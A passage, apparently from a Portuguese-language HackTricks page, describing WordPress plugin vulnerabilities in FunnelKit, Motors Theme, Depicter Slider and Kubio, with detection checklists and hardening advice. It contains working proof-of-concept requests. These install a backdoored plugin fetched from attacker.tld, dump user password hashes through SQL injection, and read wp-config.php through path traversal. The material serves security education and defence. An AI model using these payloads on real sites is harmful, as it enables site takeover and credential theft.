  • Procure por rotas subsequentes que aceitam a chave/token gerado sem checagens de capability no servidor

Mitigações

  • Para qualquer rota REST privilegiada: exigir permission_callback que aplique current_user_can() para a capability requerida
  • Não gere chaves de longa duração a partir de identidade fornecida pelo cliente; se necessário, emita tokens de curta duração vinculados ao usuário após autenticação e revalide as capabilities no uso
  • Valide o contexto do usuário chamador (wp_set_current_user não é suficiente sozinho) e rejeite requisições onde !is_user_logged_in() || !current_user_can()

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)

Nonces previnem CSRF, não autorização. Se o código tratar a passagem do nonce como um sinal verde e então pular as checagens de capability para operações privilegiadas (e.g., install/activate plugins), atacantes não autenticados podem satisfazer um requisito de nonce fraco e alcançar RCE instalando um plugin com backdoor ou vulnerável.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (a forma depende do plugin; apenas ilustrativo)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Endurecimento

  • Trate sempre os nonces apenas como tokens CSRF; aplique verificações de capability independentemente do estado do nonce
  • Exigir current_user_can(‘install_plugins’) e current_user_can(‘activate_plugins’) antes de alcançar o código do instalador
  • Rejeitar acesso não autenticado; evitar expor nopriv AJAX actions para fluxos privilegiados

Instalador de plugin AJAX do Subscriber+ → ativação maliciosa forçada (Motors Theme ≤ 5.6.81)

Análise do Patchstack mostrou como o Motors theme inclui um helper AJAX autenticado para instalar seu plugin acompanhante:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Apenas check_ajax_referer() é chamado; não há current_user_can('install_plugins') ou current_user_can('activate_plugins').
  • O nonce está embutido na página de administração do Motors, então qualquer Subscriber que consiga abrir /wp-admin/ pode copiá-lo do HTML/JS.
  • O handler confia no parâmetro plugin controlado pelo atacante (lido de $_GET) e o passa para Plugin_Upgrader::install(), então um ZIP remoto arbitrário é baixado em wp-content/plugins/.
  • Após a instalação, o tema chama incondicionalmente mvl_theme_activate_plugin(), garantindo a execução do código PHP do plugin do atacante.

Fluxo de exploração

  1. Registre/comprometa uma conta de baixo privilégio (Subscriber é suficiente) e obtenha o nonce mvl_theme_install_base da UI do painel do Motors.
  2. Crie um plugin ZIP cujo diretório de nível superior corresponda ao slug esperado motors-car-dealership-classified-listings/ e incorpore um backdoor ou webshell nos pontos de entrada *.php.
  3. Hospede o ZIP e acione o instalador apontando o handler para sua URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

Porque o handler lê $_GET['plugin'], o mesmo payload também pode ser enviado via query string.

Checklist de detecção

  • Procure em themes/plugins por Plugin_Upgrader, Theme_Upgrader, ou helpers custom install_plugin.php ligados a hooks wp_ajax_* sem verificações de capability.
  • Inspecione qualquer handler que aceite um parâmetro plugin, package, source, ou url e o encaminhe para as upgrader APIs, especialmente quando o slug está hard-coded mas o conteúdo do ZIP não é validado.
  • Revise páginas admin que expõem nonces para ações do installer—se Subscribers conseguirem carregar a página, assume que o nonce leaks.

Endurecimento

  • Proteja os callbacks AJAX do installer com current_user_can('install_plugins') e current_user_can('activate_plugins') após verificação do nonce; Motors 5.6.82 introduziu essa checagem para corrigir o bug.
  • Recuse URLs não confiáveis: limite installers a ZIPs empacotados ou repositórios confiáveis, ou imponha signed download manifests.
  • Trate nonces estritamente como CSRF tokens; eles não fornecem autorização e nunca devem substituir verificações de capability.

SQLi não autenticado via parâmetro s (search) em ações depicter-* (Depicter Slider ≤ 3.6.1)

Várias ações depicter-* consumiam o parâmetro s (search) e o concatenavam em queries SQL sem parameterização.

  • Parâmetro: s (search)
  • Falha: concatenação direta de strings em cláusulas WHERE/LIKE; sem prepared statements/sanitization
  • Impacto: exfiltração de banco de dados (usuários, hashes), movimento lateral

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep por manipuladores de ação depicter-* e uso direto de $_GET[‘s’] ou $_POST[‘s’] em SQL
  • Revise consultas customizadas passadas para $wpdb->get_results()/query() que concatenam s

Mitigações

  • Sempre use $wpdb->prepare() ou placeholders do wpdb; rejeite metacaracteres inesperados no servidor
  • Adicione uma allowlist estrita para s e normalize para o charset/tamanho esperado

Local File Inclusion não autenticado via caminho de template/arquivo sem validação (Kubio AI Page Builder ≤ 2.5.1)

Aceitar caminhos controlados pelo atacante em um parâmetro de template sem normalização/contenção permite ler arquivos locais arbitrários, e às vezes execução de código se arquivos PHP/log incluíveis forem carregados em tempo de execução.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: no normalization/allowlisting; traversal permitted
  • Impact: divulgação de segredos (wp-config.php), potencial RCE em ambientes específicos (log poisoning, arquivos PHP incluíveis)

PoC – ler wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Checklist de detecção

  • Qualquer handler que concatene request paths em sinks include()/require()/read sem contenção por realpath()
  • Procure por traversal patterns (../) que alcancem fora do diretório de templates pretendido

Endurecimento

  • Imponha templates allowlisted; resolva com realpath() e exija str_starts_with(realpath(file), realpath(allowed_base))
  • Normalize a entrada; rejeite sequências de traversal e caminhos absolutos; use sanitize_file_name() apenas para nomes de arquivo (não caminhos completos)

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks